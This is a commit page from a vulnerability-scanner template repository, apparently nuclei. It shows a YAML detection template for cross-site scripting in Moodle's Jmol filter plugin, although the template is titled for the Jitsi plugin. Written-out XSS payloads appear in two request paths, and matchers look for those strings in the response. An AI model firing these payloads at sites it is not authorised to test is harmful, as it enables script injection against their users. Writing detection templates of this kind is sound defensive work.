Merge pull request #1993 from projectdiscovery/template-fix

Fix for moodle-jitsi-plugin-xss
patch-1
Sandeep Singh 2021-07-14 16:14:54 +05:30 committed by GitHub
commit b3e1832d6b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 2 deletions

View File

@ -5,18 +5,26 @@ info:
author: madrobot
severity: medium
description: Cross-site scripting on Moodle.
reference: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
tags: moodle,xss
requests:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/iframe.php?_USE=%22};alert(1337);//"
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '\"};alert(1337);//'
- "<script>alert('XSS')</script>"
part: body
- type: word
part: header
words:
- "text/html"